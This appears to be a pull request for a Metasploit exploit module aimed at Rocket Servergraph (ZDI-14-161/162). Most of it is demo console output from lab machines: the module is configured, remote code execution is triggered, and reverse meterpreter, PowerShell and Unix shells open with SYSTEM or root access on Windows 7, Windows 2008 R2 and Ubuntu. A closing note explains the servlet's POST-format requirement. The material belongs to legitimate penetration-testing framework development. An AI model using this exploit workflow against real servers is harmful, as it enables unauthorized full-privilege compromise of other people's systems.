Add module for Rocket Servergraph ZDI-14-161 and ZDI-14-162

Tested successfully with the last version of Rocket Servergraph on Windows 7 SP1 32 bits, W2008 R2 x64, and Ubuntu 12.04 64 bits.


Verification
----------

- [ ] Install Rocket Servergraph server on any of the tested operating systems. At the end of last week, the last version available for demo purposes was vulnerable.
- [ ] Run the module like in the DEMO below, hopefully you get sessions


DEMO
--------

* Windows 7 SP1

```
msf > use exploit/multi/http/rocket_servergraph_file_requestor_rce
msf exploit(rocket_servergraph_file_requestor_rce) > show options

Module options (exploit/multi/http/rocket_servergraph_file_requestor_rce):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST                     yes       The target address
   RPORT    8888             yes       The target port
   VHOST                     no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Linux (Native Payload)


msf exploit(rocket_servergraph_file_requestor_rce) > set rhost 172.16.158.172
rhost => 172.16.158.172
msf exploit(rocket_servergraph_file_requestor_rce) > set rport 80
rport => 80
msf exploit(rocket_servergraph_file_requestor_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux (Native Payload)
   1   Linux (CMD Payload)
   2   Windows / VB Script
   3   Windows CMD


msf exploit(rocket_servergraph_file_requestor_rce) > set target 2
target => 2
msf exploit(rocket_servergraph_file_requestor_rce) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(rocket_servergraph_file_requestor_rce) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(rocket_servergraph_file_requestor_rce) > check
[*] 172.16.158.172:80 - The target appears to be vulnerable.
msf exploit(rocket_servergraph_file_requestor_rce) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.172:80 - Dropping the encoded payload to filesystem...
[*] 172.16.158.172:80 - Dropping the VBS decoder to filesystem...
[*] 172.16.158.172:80 - Executing payload...
[*] Sending stage (770048 bytes) to 172.16.158.172
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.172:49278) at 2014-06-08 10:56:02 -0500
[+] Deleted C:\WINDOWS\Temp\hQLqT.vbs
[+] Deleted C:\WINDOWS\Temp\ePABXd.b64
[!] This exploit may require manual cleanup of 'C:\WINDOWS\Temp\ybuEnB.exe' on the target

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.172 - Meterpreter session 1 closed.  Reason: User exit


msf exploit(rocket_servergraph_file_requestor_rce) > set target 3
target => 3
msf exploit(rocket_servergraph_file_requestor_rce) > set payload cmd/windows/reverse_powershell
payload => cmd/windows/reverse_powershell
msf exploit(rocket_servergraph_file_requestor_rce) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Command shell session 2 opened (172.16.158.1:4444 -> 172.16.158.172:49279) at 2014-06-08 10:57:06 -0500

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\ProgramData\Rocket Software\Servergraph ACTSM>whoami
nt authority\system

C:\ProgramData\Rocket Software\Servergraph ACTSM>exit

[*] 172.16.158.172 - Command shell session 2 closed.  Reason: Died from EOFError
^C
Abort session 2? [y/N]  y
```

* Windows 2008 R2 64 bits

```
msf exploit(rocket_servergraph_file_requestor_rce) > set rhost 172.16.158.171
rhost => 172.16.158.171
msf exploit(rocket_servergraph_file_requestor_rce) > check
[*] 172.16.158.171:80 - The target appears to be vulnerable.
msf exploit(rocket_servergraph_file_requestor_rce) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Command shell session 3 opened (172.16.158.1:4444 -> 172.16.158.171:49164) at 2014-06-08 11:00:13 -0500

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\ProgramData\Rocket Software\Servergraph ACTSM>whoami
nt authority\system

C:\ProgramData\Rocket Software\Servergraph ACTSM>exit


[*] 172.16.158.171 - Command shell session 3 closed.  Reason: Died from Errno::ECONNRESET
^C
Abort session 3? [y/N]  y
msf exploit(rocket_servergraph_file_requestor_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux (Native Payload)
   1   Linux (CMD Payload)
   2   Windows / VB Script
   3   Windows CMD


msf exploit(rocket_servergraph_file_requestor_rce) > set target 2
target => 2
msf exploit(rocket_servergraph_file_requestor_rce) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(rocket_servergraph_file_requestor_rce) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.171:80 - Dropping the encoded payload to filesystem...
[*] 172.16.158.171:80 - Dropping the VBS decoder to filesystem...
[*] 172.16.158.171:80 - Executing payload...
[*] Sending stage (770048 bytes) to 172.16.158.171
[*] Meterpreter session 4 opened (172.16.158.1:4444 -> 172.16.158.171:49165) at 2014-06-08 11:00:42 -0500
[+] Deleted C:\WINDOWS\Temp\Slae.vbs
[+] Deleted C:\WINDOWS\Temp\jctx.b64
[!] This exploit may require manual cleanup of 'C:\WINDOWS\Temp\TSRp.exe' on the target

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-21T0RBFAKER
OS              : Windows 2008 R2 (Build 7600).
Architecture    : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter     : x86/win32
emeterpreter > exit -y
[*] Shutting down Meterpreter...

[*] 172.16.158.171 - Meterpreter session 4 closed.  Reason: User exit
msf exploit(rocket_servergraph_file_requestor_rce) >
```

* Ubuntu 12.04 64 bits

```
msf exploit(rocket_servergraph_file_requestor_rce) > set rhost 172.16.158.170
rhost => 172.16.158.170
msf exploit(rocket_servergraph_file_requestor_rce) > set rport 8888
rport => 8888
msf exploit(rocket_servergraph_file_requestor_rce) > check
[*] 172.16.158.170:8888 - The target appears to be vulnerable.
msf exploit(rocket_servergraph_file_requestor_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux (Native Payload)
   1   Linux (CMD Payload)
   2   Windows / VB Script
   3   Windows CMD


msf exploit(rocket_servergraph_file_requestor_rce) > set target 0
target => 0
msf exploit(rocket_servergraph_file_requestor_rce) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(rocket_servergraph_file_requestor_rce) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.170:8888 - Dropping the encoded payload to filesystem...
[*] 172.16.158.170:8888 - Dropping the decoder to filesystem...
[*] 172.16.158.170:8888 - Giving execution permissions to the decoder...
[*] 172.16.158.170:8888 - Executing decoder and payload...
[*] Sending stage (36 bytes) to 172.16.158.170
[*] Command shell session 5 opened (172.16.158.1:4444 -> 172.16.158.170:55602) at 2014-06-08 11:03:04 -0500
[+] Deleted /tmp/YenV.sh
[+] Deleted /tmp/jEhmB.b64
[+] Deleted /tmp/BmatV.elf

2380732892
vDbIvfxjxjmONvtIhopGgEgVDCUrjpxy
jghXDfDiTzNlHLJsbfLcRFmxxyWHsoMy
hYEQzUTzGiIBdKLYuntGFEhufoVLMZUE
UTInCCjguPqQkeBScMtPcuLDMgxqAVap
id
uid=0(root) gid=0(root) groups=0(root)
^C
Abort session 5? [y/N]  y

[*] 172.16.158.170 - Command shell session 5 closed.  Reason: User exit
msf exploit(rocket_servergraph_file_requestor_rce) > set target 1
target => 1
msf exploit(rocket_servergraph_file_requestor_rce) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(rocket_servergraph_file_requestor_rce) > rexploit
[*] Reloading module...

[*] Started reverse double handler
[*] 172.16.158.170:8888 - Dropping payload...
[*] 172.16.158.170:8888 - Providing execution permissions...
[*] 172.16.158.170:8888 - Executing payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo fSMm0YBbqDvxvhCv;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "fSMm0YBbqDvxvhCv\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 6 opened (172.16.158.1:4444 -> 172.16.158.170:55604) at 2014-06-08 11:03:20 -0500
[+] Deleted /tmp/pwOx

4162710386
AOziZTSBmhcNOyAezGUvxMjJfWeGTVEH
yRCQqjIoNtAhXGmUqIUexDBdbIzbNidS
id
uid=0(root) gid=0(root) groups=0(root)
^C
Abort session 6? [y/N]  y

[*] 172.16.158.170 - Command shell session 6 closed.  Reason: User exit
```
Yes, the servlet uses a regex to check the exact format full string containing the post vars, so for example, the post vars needs to start with ```&```.